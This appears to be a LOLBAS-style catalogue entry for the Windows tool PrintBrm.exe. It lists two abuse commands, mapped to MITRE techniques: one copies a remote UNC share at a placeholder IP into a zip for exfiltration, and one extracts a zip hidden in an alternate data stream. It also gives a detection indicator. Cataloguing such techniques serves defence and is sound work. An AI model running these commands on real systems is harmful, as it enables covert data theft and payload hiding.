--- Name: PrintBrm.exe Description: Printer Migration Command-Line Tool Author: Elliot Killick Created: 21 Jun 2021 Commands: - Command: PrintBrm.exe -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip Description: Create a ZIP file from a folder in a remote drive Usecase: Exfiltrate the contents of a remote folder on a UNC share into a zip file Category: Download Privileges: User MitreID: T1105 MitreLink: https://attack.mitre.org/techniques/T1105/ OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - Command: PrintBrm.exe -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder Description: Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder Usecase: Decompress and extract a ZIP file stored on an alternate data stream to a new folder Category: ADS Privileges: User MitreID: T1096 MitreLink: https://attack.mitre.org/techniques/T1096/ OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Full_Path: - Path: C:\Windows\System32\spool\tools\PrintBrm.exe Detection: - IOC: PrintBrm.exe should not be run on a normal workstation Acknowledgement: - Person: Elliot Killick Handle: @elliotkillick ---